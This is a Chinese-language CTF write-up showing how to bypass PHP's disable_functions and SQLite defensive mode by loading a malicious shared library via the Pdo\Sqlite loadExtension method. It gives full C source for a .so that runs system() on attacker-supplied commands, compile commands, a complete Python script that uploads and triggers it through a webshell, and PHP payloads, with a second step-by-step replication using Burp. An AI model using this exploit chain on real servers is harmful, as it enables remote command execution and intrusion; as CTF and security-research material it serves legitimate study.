1.ctf实验复现(rce)--- 解法1
XCTF final kinding Writeup && 强网拟态预选赛 Writeup
1.思路


在 Web 安全攻防中,PHP 的 disable_functions 往往是阻挡攻击者获取服务器权限的最后一道防线。当运维人员在 php.ini 中禁用了 system, exec, shell_exec, passthru 等一系列命令执行函数,甚至封锁了 putenv 和 LD_PRELOAD 之后,看似固若金汤的环境其实仍可能暗藏玄机。
本文将以一次真实的 CTF 挑战为例,深入剖析一种较为冷门但极具威力的绕过技术------利用 Pdo\Sqlite 类的特性加载恶意共享库(Shared Object),从而实现远程命令执行(RCE)。
这不仅仅是一篇 Writeup,更是一次对 PHP 内核机制与扩展特性的深度探索。
2.环境侦察
1. 严苛的限制
拿到 Webshell 后,第一件事通常是查看 phpinfo()。在本次环境中,我们面临着极度严苛的限制:
-
disable_functions:
system, exec, shell_exec, passthru, popen, proc_open, pcntl_exec, mail, error_log, apache_setenv, putenv, ...基本上,所有能直接执行系统命令的函数都被禁用了。连
putenv也被禁用,意味着通过修改LD_PRELOAD环境变量来劫持getuid等函数从而触发系统命令的常见 bypass 手段也失效了。 -
open_basedir : 限制了文件访问路径,通常只能访问 Web 目录和
/tmp。
2. 潜在的突破口
在绝望中寻找希望,我们重点关注已启用的扩展(Extensions) 。 在 phpinfo 输出中,我们发现了以下关键信息:
-
PDO Driver for SQLite 3.x: Enabled
-
SQLite3 Support: Enabled
-
sqlite3.extension_dir : no value (这意味着没有指定扩展加载目录,或者允许加载任意目录的扩展)
-
sqlite3.defensive : On (这是一个安全选项,限制了 SQL 语言的一些危险操作)
思考 :SQLite 数据库有一个强大的功能------load_extension()。它允许数据库加载外部的 C 语言库(.so/.dll)来扩展 SQL 函数。如果我们能让 PHP 里的 SQLite 加载一个我们上传的恶意 .so 文件,而这个 .so 文件的初始化函数里包含 system("cat /flag"),那么不就可以绕过 PHP 的函数限制,直接在底层 C 库层面执行命令了吗?
3.常规思路
尝试一:标准的 SQLite3 类
PHP 提供了一个原生的 SQLite3 类。
try {
$db = new SQLite3(':memory:'); // 在内存中创建数据库
$db->loadExtension('/tmp/exploit.so');
} catch (Exception $e) {
echo $e->getMessage();
}
结果 :Exception: SQLite Extensions are disabled。 原因分析 :PHP 的配置项 sqlite3.extension_dir 虽然为空,但 PHP 源码中可能默认关闭了 SQLite3 类的扩展加载功能,或者 php.ini 中有其他隐藏限制。此路不通。
尝试二:PDO SQL 注入加载
既然原生类不行,尝试使用 PDO 执行 SQL 语句来加载。
try {
$db = new PDO('sqlite::memory:');
$db->query("SELECT load_extension('/tmp/exploit.so');");
} catch (Exception $e) {
echo $e->getMessage();
}
结果 :SQLSTATE[HY000]: General error: 1 not authorized。 原因分析 :这就是 sqlite3.defensive = On 在起作用。该选项禁止了通过 SQL 语句调用 load_extension 等危险函数,防止 SQL 注入导致 RCE。这也是现代 PHP 环境的标准安全配置。
4.破局解法
在标准路途全部堵死的情况下,我们需要寻找 PHP 中"漏网"的接口。
通过查阅 PHP 官方文档和源码,或者利用 get_declared_classes() 遍历所有已定义的类,我们发现了一个特殊的类:Pdo\Sqlite。
它是 PHP 8.x 中为了更好地支持类型系统而引入的,作为 PDO 的一个特定驱动实现。与通用的 PDO 类不同,Pdo\Sqlite 可能会暴露更多 SQLite 独有的特性。
关键发现 : 虽然 PDO 父类没有 loadExtension 方法,但是 Pdo\Sqlite 类实现了 loadExtension 方法!
构造 Payload:
$db = new Pdo\Sqlite('sqlite::memory:');
$db->loadExtension('/tmp/exploit.so');
测试结果 :成功加载!没有报错! 原理推测 :PHP 开发团队在实现 sqlite3.defensive 和 disable_functions 等安全策略时,重点防御了 SQLite3 类和通用 SQL 执行层,但可能疏忽了 Pdo\Sqlite 这个较新的、特定的驱动类接口。这利用了安全防御中的一致性缺失(Inconsistency)。
5.执行
1. C 代码编写 (exploit.c)
我们需要利用 SQLite 扩展的加载机制。当扩展被加载时,SQLite 会自动查找并执行一个名为 sqlite3_extension_init 的入口函数。
#include <sqlite3ext.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
// 这是一个宏,用于声明 SQLite 扩展接口
SQLITE_EXTENSION_INIT1
/**
* 扩展入口函数
* 当 PHP 执行 $db->loadExtension('/tmp/exploit.so') 时,
* 底层会调用 dlopen 加载 so,并执行这个函数。
*/
#ifdef _WIN32
__declspec(dllexport)
#endif
int sqlite3_exploit_init(
sqlite3 *db,
char **pzErrMsg,
const sqlite3_api_routines *pApi
) {
SQLITE_EXTENSION_INIT2(pApi);
// 核心逻辑:执行系统命令
// 这里我们选择读取一个临时文件中的命令并执行,
// 这样做的好处是不用每次修改命令都重新编译 .so 文件。
const char *cmd_file = "/tmp/1.txt";
char buffer[512] = {0};
FILE *f = fopen(cmd_file, "r");
if (f) {
if (fgets(buffer, sizeof(buffer), f)) {
// 去除换行符
buffer[strcspn(buffer, "\r\n")] = 0;
// 调用系统底层的 system() 函数
// 这个函数直接由操作系统内核处理,不受 PHP disable_functions 限制
system(buffer);
}
fclose(f);
}
return SQLITE_OK;
}
2. 编译
在 Linux 环境下编译生成 .so 文件:
gcc -shared -fPIC exploit.c -o exploit.so
-
-shared: 生成共享库。 -
-fPIC: 生成位置无关代码(Position Independent Code),这是动态链接库所必须的。
6.脚本
为了在目标服务器上利用漏洞,我们需要完成以下步骤:
-
文件上传 :将编译好的
exploit.so上传到目标可写目录(通常是/tmp)。 -
命令下发 :将想要执行的 Shell 命令写入
/tmp/1.txt。 -
触发漏洞:执行 PHP 代码加载扩展。
-
回显读取:读取命令执行结果。
以下是完整的 Python 利用脚本逻辑:
import requests
import base64
# 目标 URL
url = "http://target-ip/index.php"
# 读取本地编译好的 exploit.so
with open("exploit.so", "rb") as f:
so_content = f.read()
# Base64 编码,防止二进制数据在 HTTP 传输中损坏
so_b64 = base64.b64encode(so_content).decode()
print("[*] 正在上传恶意扩展...")
# 利用 file_put_contents 写入 .so 文件
php_upload = f"file_put_contents('/tmp/exploit.so', base64_decode('{so_b64}')); echo 'Upload OK';"
requests.post(url, data={"cdcas": php_upload})
print("[*] 正在执行命令...")
# 目标命令:读取 Flag
cmd = "cat /flag_cdcas > /tmp/output.txt"
# 构造最终的 PHP Payload
# 1. 写入命令到 /tmp/1.txt
# 2. 实例化 Pdo\Sqlite 并加载扩展
# 3. 读取 /tmp/output.txt 获取回显
php_payload = f"""
file_put_contents("/tmp/1.txt", "{cmd}");
try {{
$db = new Pdo\\Sqlite('sqlite::memory:');
$db->loadExtension('/tmp/exploit.so');
}} catch (Exception $e) {{
// 忽略异常,因为只要 loadExtension 执行,我们的 system() 就已经跑起来了
}}
echo "\\nOutput:\\n";
echo file_get_contents("/tmp/output.txt");
"""
res = requests.post(url, data={"cdcas": php_payload})
print(res.text)
执行结果:
Output:
flag{hello_world_f659c7986315}
2.ctf实验复现(rce)--- 解法2
1.思路(同上)
2.环境+编码
首先在Linux虚拟机里面打开nginx和php
然后在/tmp目录下写一个exploit.c的c语言文件
#include <sqlite3ext.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
// 这是一个宏,用于声明 SQLite 扩展接口
SQLITE_EXTENSION_INIT1
/**
* 扩展入口函数
* 当 PHP 执行 $db->loadExtension('/tmp/exploit.so') 时,
* 底层会调用 dlopen 加载 so,并执行这个函数。
*/
#ifdef _WIN32
__declspec(dllexport)
#endif
int sqlite3_exploit_init(
sqlite3 *db,
char **pzErrMsg,
const sqlite3_api_routines *pApi
) {
SQLITE_EXTENSION_INIT2(pApi);
// 核心逻辑:执行系统命令
// 这里我们选择读取一个临时文件中的命令并执行,
// 这样做的好处是不用每次修改命令都重新编译 .so 文件。
const char *cmd_file = "/tmp/1.txt";
char buffer[512] = {0};
FILE *f = fopen(cmd_file, "r");
if (f) {
if (fgets(buffer, sizeof(buffer), f)) {
// 去除换行符
buffer[strcspn(buffer, "\r\n")] = 0;
// 调用系统底层的 system() 函数
// 这个函数直接由操作系统内核处理,不受 PHP disable_functions 限制
system(buffer);
}
fclose(f);
}
return SQLITE_OK;
}
然后,在 Linux 环境下编译生成 .so 文件:
gcc -shared -fPIC exploit.c -o exploit.so -1sqlite3
-
-shared: 生成共享库。 -
-fPIC: 生成位置无关代码(Position Independent Code),这是动态链接库所必须的。
部署好sqlite3的前置环境
apt install sqlite3 libsqlite3-dev
3.抓包
由于需要post传参,故而这里无法直接看到,使用brp

编译好以后上传文件,进行传参,在本地物理机下,使用brp抓包

传送,转为post传参

更改以后,进行提交然后可以看到相关php配置

4.base64编码和输出
将编码完毕的exploit.so文件从虚拟机传回物理机

将传输过来的exploit.so文件进行base_64编码

将编码过的输出结果重新进行url encode编码

在输入的末尾处添加所需内容

然后将编码输出的结果传入brp进行编码

然后提交 --- 正常情况都是无反应(15880长度上传即正常)
然后重新使用内容进行编码和解码 --- 查看flag的目录
file_put_contents("/tmp/1.txt","ls -al / > /tmp/4.txt");
$db = new Pdo\Sqlite('sqlite::memory:');
$db->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
$db->loadExtension('/tmp/exploit.so');
echo file_get_contents("/tmp/4.txt");

然后重新进入brp输入和输出

查看所属目录

找到需索的目录后重新编码获得flag
